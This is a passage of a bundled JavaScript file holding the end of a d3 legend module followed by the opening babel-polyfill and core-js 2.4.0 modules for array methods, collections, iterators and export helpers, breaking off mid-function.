legend.title = function(_) {
if (!arguments.length) return title;
title = _;
return legend;
};
d3.rebind(legend, legendDispatcher, "on");
return legend;
};
},{"./legend":2}],5:[function(require,module,exports){
d3.legend = {
color: require('./color'),
size: require('./size'),
symbol: require('./symbol')
};
},{"./color":1,"./size":3,"./symbol":4}]},{},[5]);
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
(function (global){
"use strict";
_dereq_(296);
_dereq_(297);
_dereq_(2);
/* eslint max-len: 0 */
if (global._babelPolyfill) {
throw new Error("only one instance of babel-polyfill is allowed");
}
global._babelPolyfill = true;
// Should be removed in the next major release:
var DEFINE_PROPERTY = "defineProperty";
function define(O, key, value) {
O[key] || Object[DEFINE_PROPERTY](O, key, {
writable: true,
configurable: true,
value: value
});
}
define(String.prototype, "padLeft", "".padStart);
define(String.prototype, "padRight", "".padEnd);
"pop,reverse,shift,keys,values,entries,indexOf,every,some,forEach,map,filter,find,findIndex,includes,join,slice,concat,push,splice,unshift,sort,lastIndexOf,reduce,reduceRight,copyWithin,fill".split(",").forEach(function (key) {
[][key] && define(Array, key, Function.call.bind([][key]));
});
}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
},{"2":2,"296":296,"297":297}],2:[function(_dereq_,module,exports){
_dereq_(120);
module.exports = _dereq_(23).RegExp.escape;
},{"120":120,"23":23}],3:[function(_dereq_,module,exports){
module.exports = function(it){
if(typeof it != 'function')throw TypeError(it + ' is not a function!');
return it;
};
},{}],4:[function(_dereq_,module,exports){
var cof = _dereq_(18);
module.exports = function(it, msg){
if(typeof it != 'number' && cof(it) != 'Number')throw TypeError(msg);
return +it;
};
},{"18":18}],5:[function(_dereq_,module,exports){
// 22.1.3.31 Array.prototype[@@unscopables]
var UNSCOPABLES = _dereq_(117)('unscopables')
, ArrayProto = Array.prototype;
if(ArrayProto[UNSCOPABLES] == undefined)_dereq_(40)(ArrayProto, UNSCOPABLES, {});
module.exports = function(key){
ArrayProto[UNSCOPABLES][key] = true;
};
},{"117":117,"40":40}],6:[function(_dereq_,module,exports){
module.exports = function(it, Constructor, name, forbiddenField){
if(!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)){
throw TypeError(name + ': incorrect invocation!');
} return it;
};
},{}],7:[function(_dereq_,module,exports){
var isObject = _dereq_(49);
module.exports = function(it){
if(!isObject(it))throw TypeError(it + ' is not an object!');
return it;
};
},{"49":49}],8:[function(_dereq_,module,exports){
// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length)
'use strict';
var toObject = _dereq_(109)
, toIndex = _dereq_(105)
, toLength = _dereq_(108);
module.exports = [].copyWithin || function copyWithin(target/*= 0*/, start/*= 0, end = @length*/){
var O = toObject(this)
, len = toLength(O.length)
, to = toIndex(target, len)
, from = toIndex(start, len)
, end = arguments.length > 2 ? arguments[2] : undefined
, count = Math.min((end === undefined ? len : toIndex(end, len)) - from, len - to)
, inc = 1;
if(from < to && to < from + count){
inc = -1;
from += count - 1;
to += count - 1;
}
while(count-- > 0){
if(from in O)O[to] = O[from];
else delete O[to];
to += inc;
from += inc;
} return O;
};
},{"105":105,"108":108,"109":109}],9:[function(_dereq_,module,exports){
// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length)
'use strict';
var toObject = _dereq_(109)
, toIndex = _dereq_(105)
, toLength = _dereq_(108);
module.exports = function fill(value /*, start = 0, end = @length */){
var O = toObject(this)
, length = toLength(O.length)
, aLen = arguments.length
, index = toIndex(aLen > 1 ? arguments[1] : undefined, length)
, end = aLen > 2 ? arguments[2] : undefined
, endPos = end === undefined ? length : toIndex(end, length);
while(endPos > index)O[index++] = value;
return O;
};
},{"105":105,"108":108,"109":109}],10:[function(_dereq_,module,exports){
var forOf = _dereq_(37);
module.exports = function(iter, ITERATOR){
var result = [];
forOf(iter, false, result.push, result, ITERATOR);
return result;
};
},{"37":37}],11:[function(_dereq_,module,exports){
// false -> Array#indexOf
// true -> Array#includes
var toIObject = _dereq_(107)
, toLength = _dereq_(108)
, toIndex = _dereq_(105);
module.exports = function(IS_INCLUDES){
return function($this, el, fromIndex){
var O = toIObject($this)
, length = toLength(O.length)
, index = toIndex(fromIndex, length)
, value;
// Array#includes uses SameValueZero equality algorithm
if(IS_INCLUDES && el != el)while(length > index){
value = O[index++];
if(value != value)return true;
// Array#toIndex ignores holes, Array#includes - not
} else for(;length > index; index++)if(IS_INCLUDES || index in O){
if(O[index] === el)return IS_INCLUDES || index || 0;
} return !IS_INCLUDES && -1;
};
};
},{"105":105,"107":107,"108":108}],12:[function(_dereq_,module,exports){
// 0 -> Array#forEach
// 1 -> Array#map
// 2 -> Array#filter
// 3 -> Array#some
// 4 -> Array#every
// 5 -> Array#find
// 6 -> Array#findIndex
var ctx = _dereq_(25)
, IObject = _dereq_(45)
, toObject = _dereq_(109)
, toLength = _dereq_(108)
, asc = _dereq_(15);
module.exports = function(TYPE, $create){
var IS_MAP = TYPE == 1
, IS_FILTER = TYPE == 2
, IS_SOME = TYPE == 3
, IS_EVERY = TYPE == 4
, IS_FIND_INDEX = TYPE == 6
, NO_HOLES = TYPE == 5 || IS_FIND_INDEX
, create = $create || asc;
return function($this, callbackfn, that){
var O = toObject($this)
, self = IObject(O)
, f = ctx(callbackfn, that, 3)
, length = toLength(self.length)
, index = 0
, result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined
, val, res;
for(;length > index; index++)if(NO_HOLES || index in self){
val = self[index];
res = f(val, index, O);
if(TYPE){
if(IS_MAP)result[index] = res; // map
else if(res)switch(TYPE){
case 3: return true; // some
case 5: return val; // find
case 6: return index; // findIndex
case 2: result.push(val); // filter
} else if(IS_EVERY)return false; // every
}
}
return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;
};
};
},{"108":108,"109":109,"15":15,"25":25,"45":45}],13:[function(_dereq_,module,exports){
var aFunction = _dereq_(3)
, toObject = _dereq_(109)
, IObject = _dereq_(45)
, toLength = _dereq_(108);
module.exports = function(that, callbackfn, aLen, memo, isRight){
aFunction(callbackfn);
var O = toObject(that)
, self = IObject(O)
, length = toLength(O.length)
, index = isRight ? length - 1 : 0
, i = isRight ? -1 : 1;
if(aLen < 2)for(;;){
if(index in self){
memo = self[index];
index += i;
break;
}
index += i;
if(isRight ? index < 0 : length <= index){
throw TypeError('Reduce of empty array with no initial value');
}
}
for(;isRight ? index >= 0 : length > index; index += i)if(index in self){
memo = callbackfn(memo, self[index], index, O);
}
return memo;
};
},{"108":108,"109":109,"3":3,"45":45}],14:[function(_dereq_,module,exports){
var isObject = _dereq_(49)
, isArray = _dereq_(47)
, SPECIES = _dereq_(117)('species');
module.exports = function(original){
var C;
if(isArray(original)){
C = original.constructor;
// cross-realm fallback
if(typeof C == 'function' && (C === Array || isArray(C.prototype)))C = undefined;
if(isObject(C)){
C = C[SPECIES];
if(C === null)C = undefined;
}
} return C === undefined ? Array : C;
};
},{"117":117,"47":47,"49":49}],15:[function(_dereq_,module,exports){
// 9.4.2.3 ArraySpeciesCreate(originalArray, length)
var speciesConstructor = _dereq_(14);
module.exports = function(original, length){
return new (speciesConstructor(original))(length);
};
},{"14":14}],16:[function(_dereq_,module,exports){
'use strict';
var aFunction = _dereq_(3)
, isObject = _dereq_(49)
, invoke = _dereq_(44)
, arraySlice = [].slice
, factories = {};
var construct = function(F, len, args){
if(!(len in factories)){
for(var n = [], i = 0; i < len; i++)n[i] = 'a[' + i + ']';
factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')');
} return factories[len](F, args);
};
module.exports = Function.bind || function bind(that /*, args... */){
var fn = aFunction(this)
, partArgs = arraySlice.call(arguments, 1);
var bound = function(/* args... */){
var args = partArgs.concat(arraySlice.call(arguments));
return this instanceof bound ? construct(fn, args.length, args) : invoke(fn, args, that);
};
if(isObject(fn.prototype))bound.prototype = fn.prototype;
return bound;
};
},{"3":3,"44":44,"49":49}],17:[function(_dereq_,module,exports){
// getting tag from 19.1.3.6 Object.prototype.toString()
var cof = _dereq_(18)
, TAG = _dereq_(117)('toStringTag')
// ES3 wrong here
, ARG = cof(function(){ return arguments; }()) == 'Arguments';
// fallback for IE11 Script Access Denied error
var tryGet = function(it, key){
try {
return it[key];
} catch(e){ /* empty */ }
};
module.exports = function(it){
var O, T, B;
return it === undefined ? 'Undefined' : it === null ? 'Null'
// @@toStringTag case
: typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T
// builtinTag case
: ARG ? cof(O)
// ES3 arguments fallback
: (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B;
};
},{"117":117,"18":18}],18:[function(_dereq_,module,exports){
var toString = {}.toString;
module.exports = function(it){
return toString.call(it).slice(8, -1);
};
},{}],19:[function(_dereq_,module,exports){
'use strict';
var dP = _dereq_(67).f
, create = _dereq_(66)
, hide = _dereq_(40)
, redefineAll = _dereq_(86)
, ctx = _dereq_(25)
, anInstance = _dereq_(6)
, defined = _dereq_(27)
, forOf = _dereq_(37)
, $iterDefine = _dereq_(53)
, step = _dereq_(55)
, setSpecies = _dereq_(91)
, DESCRIPTORS = _dereq_(28)
, fastKey = _dereq_(62).fastKey
, SIZE = DESCRIPTORS ? '_s' : 'size';
var getEntry = function(that, key){
// fast case
var index = fastKey(key), entry;
if(index !== 'F')return that._i[index];
// frozen object case
for(entry = that._f; entry; entry = entry.n){
if(entry.k == key)return entry;
}
};
module.exports = {
getConstructor: function(wrapper, NAME, IS_MAP, ADDER){
var C = wrapper(function(that, iterable){
anInstance(that, C, NAME, '_i');
that._i = create(null); // index
that._f = undefined; // first entry
that._l = undefined; // last entry
that[SIZE] = 0; // size
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
});
redefineAll(C.prototype, {
// 23.1.3.1 Map.prototype.clear()
// 23.2.3.2 Set.prototype.clear()
clear: function clear(){
for(var that = this, data = that._i, entry = that._f; entry; entry = entry.n){
entry.r = true;
if(entry.p)entry.p = entry.p.n = undefined;
delete data[entry.i];
}
that._f = that._l = undefined;
that[SIZE] = 0;
},
// 23.1.3.3 Map.prototype.delete(key)
// 23.2.3.4 Set.prototype.delete(value)
'delete': function(key){
var that = this
, entry = getEntry(that, key);
if(entry){
var next = entry.n
, prev = entry.p;
delete that._i[entry.i];
entry.r = true;
if(prev)prev.n = next;
if(next)next.p = prev;
if(that._f == entry)that._f = next;
if(that._l == entry)that._l = prev;
that[SIZE]--;
} return !!entry;
},
// 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined)
// 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined)
forEach: function forEach(callbackfn /*, that = undefined */){
anInstance(this, C, 'forEach');
var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3)
, entry;
while(entry = entry ? entry.n : this._f){
f(entry.v, entry.k, this);
// revert to the last existing entry
while(entry && entry.r)entry = entry.p;
}
},
// 23.1.3.7 Map.prototype.has(key)
// 23.2.3.7 Set.prototype.has(value)
has: function has(key){
return !!getEntry(this, key);
}
});
if(DESCRIPTORS)dP(C.prototype, 'size', {
get: function(){
return defined(this[SIZE]);
}
});
return C;
},
def: function(that, key, value){
var entry = getEntry(that, key)
, prev, index;
// change existing entry
if(entry){
entry.v = value;
// create new entry
} else {
that._l = entry = {
i: index = fastKey(key, true), // <- index
k: key, // <- key
v: value, // <- value
p: prev = that._l, // <- previous entry
n: undefined, // <- next entry
r: false // <- removed
};
if(!that._f)that._f = entry;
if(prev)prev.n = entry;
that[SIZE]++;
// add to index
if(index !== 'F')that._i[index] = entry;
} return that;
},
getEntry: getEntry,
setStrong: function(C, NAME, IS_MAP){
// add .keys, .values, .entries, [@@iterator]
// 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11
$iterDefine(C, NAME, function(iterated, kind){
this._t = iterated; // target
this._k = kind; // kind
this._l = undefined; // previous
}, function(){
var that = this
, kind = that._k
, entry = that._l;
// revert to the last existing entry
while(entry && entry.r)entry = entry.p;
// get next entry
if(!that._t || !(that._l = entry = entry ? entry.n : that._t._f)){
// or finish the iteration
that._t = undefined;
return step(1);
}
// return step by kind
if(kind == 'keys' )return step(0, entry.k);
if(kind == 'values')return step(0, entry.v);
return step(0, [entry.k, entry.v]);
}, IS_MAP ? 'entries' : 'values' , !IS_MAP, true);
// add [@@species], 23.1.2.2, 23.2.2.2
setSpecies(NAME);
}
};
},{"25":25,"27":27,"28":28,"37":37,"40":40,"53":53,"55":55,"6":6,"62":62,"66":66,"67":67,"86":86,"91":91}],20:[function(_dereq_,module,exports){
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var classof = _dereq_(17)
, from = _dereq_(10);
module.exports = function(NAME){
return function toJSON(){
if(classof(this) != NAME)throw TypeError(NAME + "#toJSON isn't generic");
return from(this);
};
};
},{"10":10,"17":17}],21:[function(_dereq_,module,exports){
'use strict';
var redefineAll = _dereq_(86)
, getWeak = _dereq_(62).getWeak
, anObject = _dereq_(7)
, isObject = _dereq_(49)
, anInstance = _dereq_(6)
, forOf = _dereq_(37)
, createArrayMethod = _dereq_(12)
, $has = _dereq_(39)
, arrayFind = createArrayMethod(5)
, arrayFindIndex = createArrayMethod(6)
, id = 0;
// fallback for uncaught frozen keys
var uncaughtFrozenStore = function(that){
return that._l || (that._l = new UncaughtFrozenStore);
};
var UncaughtFrozenStore = function(){
this.a = [];
};
var findUncaughtFrozen = function(store, key){
return arrayFind(store.a, function(it){
return it[0] === key;
});
};
UncaughtFrozenStore.prototype = {
get: function(key){
var entry = findUncaughtFrozen(this, key);
if(entry)return entry[1];
},
has: function(key){
return !!findUncaughtFrozen(this, key);
},
set: function(key, value){
var entry = findUncaughtFrozen(this, key);
if(entry)entry[1] = value;
else this.a.push([key, value]);
},
'delete': function(key){
var index = arrayFindIndex(this.a, function(it){
return it[0] === key;
});
if(~index)this.a.splice(index, 1);
return !!~index;
}
};
module.exports = {
getConstructor: function(wrapper, NAME, IS_MAP, ADDER){
var C = wrapper(function(that, iterable){
anInstance(that, C, NAME, '_i');
that._i = id++; // collection id
that._l = undefined; // leak store for uncaught frozen objects
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
});
redefineAll(C.prototype, {
// 23.3.3.2 WeakMap.prototype.delete(key)
// 23.4.3.3 WeakSet.prototype.delete(value)
'delete': function(key){
if(!isObject(key))return false;
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this)['delete'](key);
return data && $has(data, this._i) && delete data[this._i];
},
// 23.3.3.4 WeakMap.prototype.has(key)
// 23.4.3.4 WeakSet.prototype.has(value)
has: function has(key){
if(!isObject(key))return false;
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this).has(key);
return data && $has(data, this._i);
}
});
return C;
},
def: function(that, key, value){
var data = getWeak(anObject(key), true);
if(data === true)uncaughtFrozenStore(that).set(key, value);
else data[that._i] = value;
return that;
},
ufstore: uncaughtFrozenStore
};
},{"12":12,"37":37,"39":39,"49":49,"6":6,"62":62,"7":7,"86":86}],22:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, $export = _dereq_(32)
, redefine = _dereq_(87)
, redefineAll = _dereq_(86)
, meta = _dereq_(62)
, forOf = _dereq_(37)
, anInstance = _dereq_(6)
, isObject = _dereq_(49)
, fails = _dereq_(34)
, $iterDetect = _dereq_(54)
, setToStringTag = _dereq_(92)
, inheritIfRequired = _dereq_(43);
module.exports = function(NAME, wrapper, methods, common, IS_MAP, IS_WEAK){
var Base = global[NAME]
, C = Base
, ADDER = IS_MAP ? 'set' : 'add'
, proto = C && C.prototype
, O = {};
var fixMethod = function(KEY){
var fn = proto[KEY];
redefine(proto, KEY,
KEY == 'delete' ? function(a){
return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'has' ? function has(a){
return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'get' ? function get(a){
return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'add' ? function add(a){ fn.call(this, a === 0 ? 0 : a); return this; }
: function set(a, b){ fn.call(this, a === 0 ? 0 : a, b); return this; }
);
};
if(typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function(){
new C().entries().next();
}))){
// create collection constructor
C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);
redefineAll(C.prototype, methods);
meta.NEED = true;
} else {
var instance = new C
// early implementations not supports chaining
, HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance
// V8 ~ Chromium 40- weak-collections throws on primitives, but should return false
, THROWS_ON_PRIMITIVES = fails(function(){ instance.has(1); })
// most early implementations doesn't supports iterables, most modern - not close it correctly
, ACCEPT_ITERABLES = $iterDetect(function(iter){ new C(iter); }) // eslint-disable-line no-new
// for early implementations -0 and +0 not the same
, BUGGY_ZERO = !IS_WEAK && fails(function(){
// V8 ~ Chromium 42- fails only with 5+ elements
var $instance = new C()
, index = 5;
while(index--)$instance[ADDER](index, index);
return !$instance.has(-0);
});
if(!ACCEPT_ITERABLES){
C = wrapper(function(target, iterable){
anInstance(target, C, NAME);
var that = inheritIfRequired(new Base, target, C);
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
return that;
});
C.prototype = proto;
proto.constructor = C;
}
if(THROWS_ON_PRIMITIVES || BUGGY_ZERO){
fixMethod('delete');
fixMethod('has');
IS_MAP && fixMethod('get');
}
if(BUGGY_ZERO || HASNT_CHAINING)fixMethod(ADDER);
// weak collections should not contains .clear method
if(IS_WEAK && proto.clear)delete proto.clear;
}
setToStringTag(C, NAME);
O[NAME] = C;
$export($export.G + $export.W + $export.F * (C != Base), O);
if(!IS_WEAK)common.setStrong(C, NAME, IS_MAP);
return C;
};
},{"32":32,"34":34,"37":37,"38":38,"43":43,"49":49,"54":54,"6":6,"62":62,"86":86,"87":87,"92":92}],23:[function(_dereq_,module,exports){
var core = module.exports = {version: '2.4.0'};
if(typeof __e == 'number')__e = core; // eslint-disable-line no-undef
},{}],24:[function(_dereq_,module,exports){
'use strict';
var $defineProperty = _dereq_(67)
, createDesc = _dereq_(85);
module.exports = function(object, index, value){
if(index in object)$defineProperty.f(object, index, createDesc(0, value));
else object[index] = value;
};
},{"67":67,"85":85}],25:[function(_dereq_,module,exports){
// optional / simple context binding
var aFunction = _dereq_(3);
module.exports = function(fn, that, length){
aFunction(fn);
if(that === undefined)return fn;
switch(length){
case 1: return function(a){
return fn.call(that, a);
};
case 2: return function(a, b){
return fn.call(that, a, b);
};
case 3: return function(a, b, c){
return fn.call(that, a, b, c);
};
}
return function(/* ...args */){
return fn.apply(that, arguments);
};
};
},{"3":3}],26:[function(_dereq_,module,exports){
'use strict';
var anObject = _dereq_(7)
, toPrimitive = _dereq_(110)
, NUMBER = 'number';
module.exports = function(hint){
if(hint !== 'string' && hint !== NUMBER && hint !== 'default')throw TypeError('Incorrect hint');
return toPrimitive(anObject(this), hint != NUMBER);
};
},{"110":110,"7":7}],27:[function(_dereq_,module,exports){
// 7.2.1 RequireObjectCoercible(argument)
module.exports = function(it){
if(it == undefined)throw TypeError("Can't call method on " + it);
return it;
};
},{}],28:[function(_dereq_,module,exports){
// Thank's IE8 for his funny defineProperty
module.exports = !_dereq_(34)(function(){
return Object.defineProperty({}, 'a', {get: function(){ return 7; }}).a != 7;
});
},{"34":34}],29:[function(_dereq_,module,exports){
var isObject = _dereq_(49)
, document = _dereq_(38).document
// in old IE typeof document.createElement is 'object'
, is = isObject(document) && isObject(document.createElement);
module.exports = function(it){
return is ? document.createElement(it) : {};
};
},{"38":38,"49":49}],30:[function(_dereq_,module,exports){
// IE 8- don't enum bug keys
module.exports = (
'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'
).split(',');
},{}],31:[function(_dereq_,module,exports){
// all enumerable object keys, includes symbols
var getKeys = _dereq_(76)
, gOPS = _dereq_(73)
, pIE = _dereq_(77);
module.exports = function(it){
var result = getKeys(it)
, getSymbols = gOPS.f;
if(getSymbols){
var symbols = getSymbols(it)
, isEnum = pIE.f
, i = 0
, key;
while(symbols.length > i)if(isEnum.call(it, key = symbols[i++]))result.push(key);
} return result;
};
},{"73":73,"76":76,"77":77}],32:[function(_dereq_,module,exports){
var global = _dereq_(38)
, core = _dereq_(23)
, hide = _dereq_(40)
, redefine = _dereq_(87)
, ctx = _dereq_(25)
, PROTOTYPE = 'prototype';
var $export = function(type, name, source){
var IS_FORCED = type & $export.F
, IS_GLOBAL = type & $export.G
, IS_STATIC = type & $export.S
, IS_PROTO = type & $export.P
, IS_BIND = type & $export.B
, target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE]
, exports = IS_GLOBAL ? core : core[name] || (core[name] = {})
, expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {})
, key, own, out, exp;
if(IS_GLOBAL)source = name;
for(key in source){
// contains in native
own = !IS_FORCED && target && target[key] !== undefined;
// export native or passed
out = (own ? target : source)[key];
// bind timers to global for call from export context
exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out;
// extend global
if(target)redefine(target, key, out, type & $export.U);
// export
if(exports[key] != out)hide(exports, key, exp);
if(IS_PROTO && expProto[key] != out)expProto[key] = out;
}
};
global.core = core;
// type bitmap
$export.F = 1; // forced
$export.G = 2; // global
$export.S = 4; // static
$export.P = 8; // proto
$export.B = 16; // bind
$export.W = 32; // wrap
$export.U = 64; // safe
$export.R = 128; // real proto method for `library`
module.exports = $export;
},{"23":23,"25":25,"38":38,"40":40,"87":87}],33:[function(_dereq_,module,exports){
var MATCH = _dereq_(117)('match');
module.exports = function(KEY){
var re = /./;
try {
'/./'[KEY](re);
} catch(e){
try {
re[MATCH] = false;
return !'/./'[KEY](re);
} catch(f){ /* empty */ }
} return true;
};
},{"117":117}],34:[function(_dereq_,module,exports){
module.exports = function(exec){
try {
return !!exec();
} catch(e){
return true;
}
};
},{}],35:[function(_dereq_,module,exports){
'use strict';
var hide = _dereq_(40)
, redefine = _dereq_(87)
, fails = _dereq_(34)
, defined = _dereq_(27)
, wks = _dereq_(117);
module.exports = function(KEY, length, exec){
var SYMBOL = wks(KEY)
, fns = exec(defined, SYMBOL, ''[KEY])
, strfn = fns[0]
, rxfn = fns[1];
if(fails(function(){
var O = {};
O[SYMBOL] = function(){ return 7; };
return ''[KEY](O) != 7;
})){
redefine(String.prototype, KEY, strfn);
hide(RegExp.prototype, SYMBOL, length == 2
// 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue)
// 21.2.5.11 RegExp.prototype[@@split](string, limit)
? function(string, arg){ return rxfn.call(string, this, arg); }
// 21.2.5.6 RegExp.prototype[@@match](string)
// 21.2.5.9 RegExp.prototype[@@search](string)
: function(string){ return rxfn.call(string, this); }
);
}
};
},{"117":117,"27":27,"34":34,"40":40,"87":87}],36:[function(_dereq_,module,exports){
'use strict';
// 21.2.5.3 get RegExp.prototype.flags
var anObject = _dereq_(7);
module.exports = function(){
var that = anObject(this)
, result = '';
if(that.global) result += 'g';
if(that.ignoreCase) result += 'i';
if(that.multiline) result += 'm';
if(that.unicode) result += 'u';
if(that.sticky) result += 'y';
return result;
};
},{"7":7}],37:[function(_dereq_,module,exports){
var ctx = _dereq_(25)
, call = _dereq_(51)
, isArrayIter = _dereq_(46)
, anObject = _dereq_(7)
, toLength = _dereq_(108)
, getIterFn = _dereq_(118)
, BREAK = {}
, RETURN = {};
var exports = module.exports = function(iterable, entries, fn, that, ITERATOR){
var iterFn = ITERATOR ? function(){ return iterable; } : getIterFn(iterable)
, f = ctx(fn, that, entries ? 2 : 1)
, index = 0
, length, step, iterator, result;
if(typeof iterFn != 'function')throw TypeError(iterable + ' is not iterable!');
// fast case for arrays with default iterator
if(isArrayIter(iterFn))for(length = toLength(iterable.length); length > index; index++){
result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]);
if(result === BREAK || result === RETURN)return result;
} else for(iterator = iterFn.call(iterable); !(step = iterator.next()).done; ){
result = call(iterator, f, step.value, entries);
if(result === BREAK || result === RETURN)return result;
}
};
exports.BREAK = BREAK;
exports.RETURN = RETURN;
},{"108":108,"118":118,"25":25,"46":46,"51":51,"7":7}],38:[function(_dereq_,module,exports){
// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
var global = module.exports = typeof window != 'undefined' && window.Math == Math
? window : typeof self != 'undefined' && self.Math == Math ? self : Function('return this')();
if(typeof __g == 'number')__g = global; // eslint-disable-line no-undef
},{}],39:[function(_dereq_,module,exports){
var hasOwnProperty = {}.hasOwnProperty;
module.exports = function(it, key){
return hasOwnProperty.call(it, key);
};
},{}],40:[function(_dereq_,module,exports){
var dP = _dereq_(67)
, createDesc = _dereq_(85);
module.exports = _dereq_(28) ? function(object, key, value){
return dP.f(object, key, createDesc(1, value));
} : function(object, key, value){
object[key] = value;
return object;
};
},{"28":28,"67":67,"85":85}],41:[function(_dereq_,module,exports){
module.exports = _dereq_(38).document && document.documentElement;
},{"38":38}],42:[function(_dereq_,module,exports){
module.exports = !_dereq_(28) && !_dereq_(34)(function(){
return Object.defineProperty(_dereq_(29)('div'), 'a', {get: function(){ return 7; }}).a != 7;
});
},{"28":28,"29":29,"34":34}],43:[function(_dereq_,module,exports){
var isObject = _dereq_(49)
, setPrototypeOf = _dereq_(90).set;
module.exports = function(that, target, C){
var P, S = target.constructor;
if(S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf){
setPrototypeOf(that, P);
} return that;
};
},{"49":49,"90":90}],44:[function(_dereq_,module,exports){
// fast apply, http://jsperf.lnkit.com/fast-apply/5
module.exports = function(fn, args, that){
var un = that === undefined;
switch(args.length){
case 0: return un ? fn()
: fn.call(that);
case 1: return un ? fn(args[0])
: fn.call(that, args[0]);
case 2: return un ? fn(args[0], args[1])
: fn.call(that, args[0], args[1]);
case 3: return un ? fn(args[0], args[1], args[2])
: fn.call(that, args[0], args[1], args[2]);
case 4: return un ? fn(args[0], args[1], args[2], args[3])
: fn.call(that, args[0], args[1], args[2], args[3]);
} return fn.apply(that, args);
};
},{}],45:[function(_dereq_,module,exports){
// fallback for non-array-like ES3 and non-enumerable old V8 strings
var cof = _dereq_(18);
module.exports = Object('z').propertyIsEnumerable(0) ? Object : function(it){
return cof(it) == 'String' ? it.split('') : Object(it);
};
},{"18":18}],46:[function(_dereq_,module,exports){
// check on default Array iterator
var Iterators = _dereq_(56)
, ITERATOR = _dereq_(117)('iterator')
, ArrayProto = Array.prototype;
module.exports = function(it){
return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it);
};
},{"117":117,"56":56}],47:[function(_dereq_,module,exports){
// 7.2.2 IsArray(argument)
var cof = _dereq_(18);
module.exports = Array.isArray || function isArray(arg){
return cof(arg) == 'Array';
};
},{"18":18}],48:[function(_dereq_,module,exports){
// 20.1.2.3 Number.isInteger(number)
var isObject = _dereq_(49)
, floor = Math.floor;
module.exports = function isInteger(it){
return !isObject(it) && isFinite(it) && floor(it) === it;
};
},{"49":49}],49:[function(_dereq_,module,exports){
module.exports = function(it){
return typeof it === 'object' ? it !== null : typeof it === 'function';
};
},{}],50:[function(_dereq_,module,exports){
// 7.2.8 IsRegExp(argument)
var isObject = _dereq_(49)
, cof = _dereq_(18)
, MATCH = _dereq_(117)('match');
module.exports = function(it){
var isRegExp;
return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : cof(it) == 'RegExp');
};
},{"117":117,"18":18,"49":49}],51:[function(_dereq_,module,exports){
// call something on iterator step with safe closing on error
var anObject = _dereq_(7);
module.exports = function(iterator, fn, value, entries){
try {
return entries ? fn(anObject(value)[0], value[1]) : fn(value);
// 7.4.6 IteratorClose(iterator, completion)
} catch(e){
var ret = iterator['return'];
if(ret !== undefined)anObject(ret.call(iterator));
throw e;
}
};
},{"7":7}],52:[function(_dereq_,module,exports){
'use strict';
var create = _dereq_(66)
, descriptor = _dereq_(85)
, setToStringTag = _dereq_(92)
, IteratorPrototype = {};
// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
_dereq_(40)(IteratorPrototype, _dereq_(117)('iterator'), function(){ return this; });
module.exports = function(Constructor, NAME, next){
Constructor.prototype = create(IteratorPrototype, {next: descriptor(1, next)});
setToStringTag(Constructor, NAME + ' Iterator');
};
},{"117":117,"40":40,"66":66,"85":85,"92":92}],53:[function(_dereq_,module,exports){
'use strict';
var LIBRARY = _dereq_(58)
, $export = _dereq_(32)
, redefine = _dereq_(87)
, hide = _dereq_(40)
, has = _dereq_(39)
, Iterators = _dereq_(56)
, $iterCreate = _dereq_(52)
, setToStringTag = _dereq_(92)
, getPrototypeOf = _dereq_(74)
, ITERATOR = _dereq_(117)('iterator')
, BUGGY = !([].keys && 'next' in [].keys()) // Safari has buggy iterators w/o `next`
, FF_ITERATOR = '@@iterator'
, KEYS = 'keys'
, VALUES = 'values';
var returnThis = function(){ return this; };
module.exports = function(Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED){
